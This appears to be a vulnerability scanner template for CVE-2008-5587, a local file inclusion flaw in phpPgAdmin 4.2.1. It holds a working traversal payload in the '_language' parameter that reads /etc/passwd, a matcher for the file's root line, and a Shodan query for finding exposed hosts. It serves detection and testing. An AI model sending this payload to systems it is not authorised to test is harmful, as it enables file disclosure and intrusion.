id: CVE-2008-5587 info: name: phpPgAdmin 4.2.1 - '_language' Local File Inclusion author: dhiyaneshDK severity: medium description: Directory traversal vulnerability in libraries/lib.inc.php in phpPgAdmin 4.2.1 and earlier, when register_globals is enabled, allows remote attackers to read arbitrary files via a .. (dot dot) in the _language parameter to index.php. reference: - https://www.exploit-db.com/exploits/7363 - http://web.archive.org/web/20210121184707/https://www.securityfocus.com/bid/32670/ - http://secunia.com/advisories/33014 - http://secunia.com/advisories/33263 classification: cve-id: CVE-2008-5587 metadata: shodan-query: http.title:"phpPgAdmin" tags: cve2008,lfi,phppgadmin requests: - method: GET path: - '{{BaseURL}}/phpPgAdmin/index.php?_language=../../../../../../../../etc/passwd%00' matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200